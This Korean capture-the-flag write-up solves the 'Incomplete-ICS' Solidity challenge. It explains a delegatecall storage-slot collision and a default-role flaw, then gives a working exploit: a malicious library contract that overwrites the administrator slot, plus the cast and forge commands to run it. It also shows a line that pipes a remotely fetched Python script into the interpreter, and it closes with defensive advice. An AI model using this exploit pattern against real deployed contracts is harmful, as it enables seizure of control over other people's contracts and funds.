2025 Asean Cyber Shield HACKING CONTEST

0. 개요

  • 문제 이름 : Incomplete-ICS
  • 환경 :
    • nc 10.100.0.11 30000 - 인스턴스 생성 / 종료 / 플래그 조회 메뉴
    • rpc 10.100.0.11 30001 - 개인 블록체인 인스턴스 JSON-RPC
    • 각인스턴스는 UUID로 구분 되고, 10분 후 자동 종료
  • 목표 : Setup.isSolved() == true 상태를 만들어 플래그 획득

1. 온체인 구조 분석

1-1. Setup.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
contract Setup {
    IndustrialControlSystem public icsContract;
    ConfigurationLibrary public configLib;
    DiagnosticLibrary public diagnosticLib;
    address public player;

    constructor() {
        configLib = new ConfigurationLibrary();
        diagnosticLib = new DiagnosticLibrary();

        icsContract = new IndustrialControlSystem(
            address(configLib),
            address(diagnosticLib)
        );

        player = tx.origin;
        icsContract.grantRole(player, IndustrialControlSystem.Role.OPERATOR);
    }

    function isSolved() public view returns (bool) {
        return icsContract.solved() == true;
    }

    function getChallengeInfo() public view returns (
        address icsAddress,
        address configLibAddress,
        address diagnosticLibAddress,
        address playerAddress,
        IndustrialControlSystem.Role playerRole
    ) {
        return (
            address(icsContract),
            address(configLib),
            address(diagnosticLib),
            player,
            icsContract.userRoles(player)
        );
    }
}
  • 배포시 ConfigurationLibrary, DiagnosticLibrary, IndustrialControlSystem 순으로 생성.
  • player = tx.origin → CTF 참가자의 EOA 주소가 player.
  • icsContract.grantRole(player, Role.OPERATOR);
    • OPERATOR 권한을 가진 상태로 시작.
  • 플래그 체크: isSolved() == icsContract.solved().

→ 결론: ICS 컨트랙트의 solved를 true로 만드는 게 목표.


1-2. IndustrialControlSystem.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract IndustrialControlSystem {
    enum Role { OPERATOR, ENGINEER, ADMINISTRATOR }

    struct SystemConfig {
        uint256 maxPressure;
        uint256 maxTemperature;
        uint256 emergencyThreshold;
        bool safetySystemEnabled;
    }

    address public configurationLibrary;
    address public diagnosticLibrary;
    address public administrator;
    mapping(address => Role) public userRoles;
    SystemConfig public config;
    uint256 public currentPressure;
    uint256 public currentTemperature;
    bool public systemOperational;
    bool public solved;

    bytes4 constant CONFIG_SIG = bytes4(keccak256("updateConfig(uint256)"));
    bytes4 constant DIAGNOSTIC_SIG = bytes4(keccak256("runDiagnostic(uint256)"));

생성자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
constructor(address _configLib, address _diagnosticLib) {
    administrator = msg.sender; // Setup 컨트랙트 주소
    userRoles[msg.sender] = Role.ADMINISTRATOR;
    configurationLibrary = _configLib;
    diagnosticLibrary = _diagnosticLib;

    config = SystemConfig({
        maxPressure: 1000,
        maxTemperature: 150,
        emergencyThreshold: 1200,
        safetySystemEnabled: true
    });

    systemOperational = true;
    solved = false;
}
  • administrator = Setup 주소
  • safetySystemEnabled = true 초기값.

권한 관련

1
2
3
4
5
6
7
8
9
modifier onlyRole(Role requiredRole) {
    require(userRoles[msg.sender] >= requiredRole, "ICS: Insufficient privileges");
    _;
}

modifier systemSafety() {
    require(config.safetySystemEnabled, "ICS: Safety system disabled");
    _;
}
  • userRoles의 default 값은 enum의 0번, 즉 Role.OPERATOR
  • -> 아무 주소나 최소 OPERATOR 권한을 가진다고 볼 수 있는 구조 (치명적인 설계).

config 업데이트 함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function updateSystemConfig(uint256 _value)
    public
    onlyRole(Role.OPERATOR)
    systemSafety
{
    emit AccessAttempt(msg.sender, "updateSystemConfig", true);

    (bool success,) = configurationLibrary.delegatecall(
        abi.encodePacked(CONFIG_SIG, _value)
    );
    require(success, "ICS: Configuration update failed");

    emit ConfigurationChanged("system_parameter", 0, _value);
}
  • 누구든 userRoles[msg.sender] >= OPERATOR(0)면 통과 -> 사실상 모든 주소 접근 가능.
  • delegatecall(configurationLibrary, updateConfig(uint256))가 핵심이다.

solved를 true로 만드는 함수

1
2
3
4
5
function claimVictory() public {
    require(msg.sender == administrator, "ICS: Only administrator can claim victory");
    solved = true;
    emit SystemAlert("CHALLENGE_SOLVED", block.timestamp);
}
  • solved를 true로 만드는 유일한 함수.
  • 단, msg.sender == administrator 여야 한다.
  • 현재 administrator는 Setup -> EOA로는 호출 불가.

1-3. ConfigurationLibrary / DiagnosticLibrary

1
2
3
4
5
6
7
contract ConfigurationLibrary {
    uint256 public configValue;

    function updateConfig(uint256 _value) public {
        configValue = _value;
    }
}
  • storage layout : slot 0에 configValue.
1
2
3
4
5
6
7
contract DiagnosticLibrary {
    uint256 public diagnosticResult;

    function runDiagnostic(uint256 _code) public {
        diagnosticResult = _code;
    }
}

2. 취약점 분석

2-1. delegatecall + storage 충돌

ICS의 앞부분 storage :

address public configurationLibrary; // slot 0
address public diagnosticLibrary;    // slot 1
address public administrator;        // slot 2
// ...
SystemConfig public config;          // 이후 슬롯들

ConfigurationLibrary 의 storage :

1
uint256 public configValue; // slot 0

updateSystemConfig 실핼 시 :

1
2
3
configurationLibrary.delegatecall(
    abi.encodePacked(CONFIG_SIG, _value)
);
  • delegatecall -> 코드만 라이브러리, storage는 ICS 것 사용
  • ConfigurationLibrary.updateConfig(uint256)의 내용 :
1
configValue = _value;

-> 실제로는 ICS.storage[0] (configurationLibrary)를 _value로 덮어쓰기.
즉, updateSystemConfig(ATTACK_ADDR)을 호출하면
ICS.configurationLibrary = ATTACK_ADDR로 변경할 수 있으며 이게 전체 공격의 시작점이다.


2-2. 악성 라이브러리로 administrator 탈취

configurationLibrary를 우리가 만든 공격 컨트랙트로 바꾸면,
그 다음에 updateSystemConfig(0)을 한 번 더 호출했을 때:

  • delegatecall 대상: AttackConfig
  • AttackConfig.updateConfig(uint256)를 ICS context에서 실행
  • assembly로 ICS.storage[2] (= administrator) 를 우리가 원하는 값으로 바꿀 수 있다.

예시 공격 컨트랙트:

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract AttackConfig {
    function updateConfig(uint256) public {
        assembly {
            // ICS의 slot 2 = administrator
            sstore(2, origin())
        }
    }
}
  • origin() = 트랙잭션을 날린 EOA (플레이어)
  • 최종적으로 ICS.administrator = EOA 주소.

그 다음엔 EOA가 ICS.claimVictory() 를 직접 호출 가능하다.


3. 공격 시나리오 개요

정리하면:
delegatecall로 ICS의 configurationLibrary를 우리가 만든 악성 라이브러리로 바꾼 뒤,
다시 delegatecall을 실행시켜 administrator를 우리 계정으로 바꾸고,
claimVictory()를 호출해 solved = true 를 만든다.

실제 단계:

  1. PoW 풀고 새 인스턴스 생성 → UUID, PK, RPC, Setup 주소 확보
  2. Setup.getChallengeInfo() 를 호출해서 ICS 주소를 구한다.
  3. 악성 라이브러리 AttackConfig 배포.
  4. ICS에 대해 updateSystemConfig(ATTACK_ADDR) 호출 → configurationLibrary = ATTACK.
  5. 다시 updateSystemConfig(0) 호출 → AttackConfig.updateConfig 실행, administrator = our EOA.
  6. ICS.claimVictory() 호출 → solved = true.
  7. nc에서 action 3 → uuid 입력 → 플래그 출력.

4. 실제 익스플로잇 (Foundry + cast 기준)

4-1. 익스턴스 생성 & 정보 확보

1
2
3
4
5
6
nc 10.100.0.11 30000

1 - launch new instance
2 - kill instance
3 - get flag (if isSolved() is true)
action? 1

PoW 요구 나오면, 문제에서 알려준대로:

1
python3 <(curl -sSL <https://minaminao.github.io/tools/solve-pow.py>)  24

출력된 your_input 값을 YOUR_INPUT에 넣어 PoW 통과.

성공하면 이러한 정보가 나온다:

1
2
3
4
5
uuid:               4bf39146-52b8-4123-94cd-cdefb83e1ff8
rpc endpoint:       <http://localhost:30001/4bf39146-52b8-4123-94cd-cdefb83e1ff8>
private key:        0x1f0e68e8...
your address:       0x8bB14741...
challenge contract: 0xf8e72f01...

4-2. 환경 변수 설정

WSL 에서:

1
2
3
4
export UUID="4bf39146-52b8-4123-94cd-cdefb83e1ff8"
export RPC="<http://10.100.0.11:30001/$UUID>"
export PK="0x1f0e68e889f73460ec5c8e0bf1f6c99e9a03c1a6eed211db080ddb30f40ae033"
export SETUP="0xf8e72f01818D68c30f5945cC3f53A2e41a818436"

Foundry cast는 eth_sandbox에서 X-UUID 헤더도 필요하므로,
모든 RPC 호출에 –rpc-headers “X-UUID:$UUID”를 붙였다.


4-3. Setup에서 ICS 주소 가져오기

1
2
3
4
5
cast call \\
  --rpc-url $RPC \\
  --rpc-headers "X-UUID:$UUID" \\
  $SETUP \\
  "getChallengeInfo()"

반환값(ABI-encoded)을 32바이트씩 나누면 첫 번째 20바이트가 ICS 주소:

1
2
icsAddress = 0x97d5764ed2a5341deaeb9d6553f0c2398f642b48
...

환경변수로 저장:

1
export ICS=0x97d5764ed2a5341deaeb9d6553f0c2398f642b48

4-4. 악성 라이브러리 AttackConfig.sol 작성 & 배포

src/AttackConfig.sol:

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract AttackConfig {
    function updateConfig(uint256) public {
        assembly {
            // ICS의 storage slot 2 administrator
            sstore(2, origin())
        }
    }
}

컴파일:

1
forge build

배포:

1
2
3
4
5
forge create src/AttackConfig.sol:AttackConfig \\
  --rpc-url $RPC \\
  --rpc-headers "X-UUID:$UUID" \\
  --private-key $PK \\
  --broadcast

출력 예:

1
2
3
Deployer: 0x8bB147419e2358ef70b1c3EF33dC4EeAB5970200
Deployed to: 0x1d7A6A28F179B5ec87a05E469a061dABc449d5eb
Transaction hash: ...

공격 컨트랙트 주소 저:

1
export ATTACK=0x1d7A6A28F179B5ec87a05E469a061dABc449d5eb

4-5. 1단계 - configurationLibrary = ATTACK 으로 덮어쓰기

1
2
3
4
5
6
cast send \\
  --rpc-url $RPC \\
  --rpc-headers "X-UUID:$UUID" \\
  --private-key $PK \\
  $ICS \\
  "updateSystemConfig(uint256)" $(cast to-dec $ATTACK)
  • onlyRole(Role.OPERATOR) → default 0으로 누구나 통과.
  • systemSafety → 초기값 true라 통과.
  • delegatecall로 ConfigurationLibrary.updateConfig(ATTACK) 실행
  • → ICS.slot0 (= configurationLibrary) = ATTACK 주소로 변경.
  • 트랜잭션 결과에서 status 1 (success) 확인.

4-6. 2단계 - administrator 탈취

이제 configurationLibrary가 AttackConfig가 되었으므로,
다시 updateSystemConfig 를 호출하면 이번에 AttackConfig.updateConfig가 실행된다:

1
2
3
4
5
6
cast send \\
  --rpc-url $RPC \\
  --rpc-headers "X-UUID:$UUID" \\
  --private-key $PK \\
  $ICS \\
  "updateSystemConfig(uint256)" 0

이 때:

  • AttacConfig.updateConfig(uint256) 동작:
    • sstore(2, origin())
  • ICS.storage[2] - tx.origin = 공격자의 EOA 주소. -> ICS.administrator 주소.

4-7. 3단계 - claimVictory() 호출

이제 우리는 ICS의 administrator 이므로:

1
2
3
4
5
6
cast send \\
  --rpc-url $RPC \\
  --rpc-headers "X-UUID:$UUID" \\
  --private-key $PK \\
  $ICS \\
  "claimVictory()"
  • require(msg.sender == administrator) 통과.
  • solved = true.

4-8. 플래그 획득

다시 nc:

1
2
3
4
5
6
7
nc 10.100.0.11 30000

1 - launch new instance
2 - kill instance
3 - get flag (if isSolved() is true)
action? 3
uuid please: 4bf39146-52b8-4123-94cd-cdefb83e1ff8

방금 공격한 인스턴스의 UUID를 넣으면,
서버는 내부적으로 Setup.isSolved()를 호출해 true임을 확인하고 플래그를 응답한다.

최종 플래그:

1
ACS{476c3cdce086c3c2d2dce086c3c2dce0807f1fa4da476c3c2dce}

5. 배운 점 및 방어 방법

5-1. 배운 점

1. delegatecall + 라이브러리 주소 변경

  • delegatecall은 코드만 가져오고 storage는 caller의 것을 쓴다.
  • 라이브러리 주소를 외부 입력으로 바꾸게 두면, 결국 임의 코드 실행과 같다.

2. storage Layout 충돌

  • ICS.slot0 (configurationLibrary)와 라이브러리.slot0 (configValue)의 충돌을 이용해
  • 라이브러리 주소를 마음대로 덮어쓸 수 있었다.

3. 권한 관리 실수

  • mapping(address => Role) 의 default 값(0)을 OPERATOR로 쓰면서
  • 사실상 모든 주소에 OPERATOR 권한을 준 셈이 됐다.

4. CTF infra 특성

  • UUID를 path + HTTP 헤더에 모두 실어야 하는 특수한 RPC 구조
  • UUID 만료(10분) → 같은 UUID로만 isSolved 체크가 가능.

5-2. 방어 방법

  • delegatecall 쓰는 컨트랙트는:
    • 라이브러리 주소를 immutable/constant로 하고,
    • 사용자 입력이나 낮은 권한에서 절대 변경할 수 없게 해야 한다.
  • storage layout을 명확히 설계하고, 외부 라이브러리를 끼워 넣을 때
  • slot 충돌을 발생시키지 않도록 주의해야 한다.

  • 권한 관리:
    • enum의 0 값을 “권한 없음(NONE)”으로 두고,
    • OPERATOR, ENGINEER, ADMINISTRATOR는 1, 2, 3 등으로 설정하는 게 안전하다.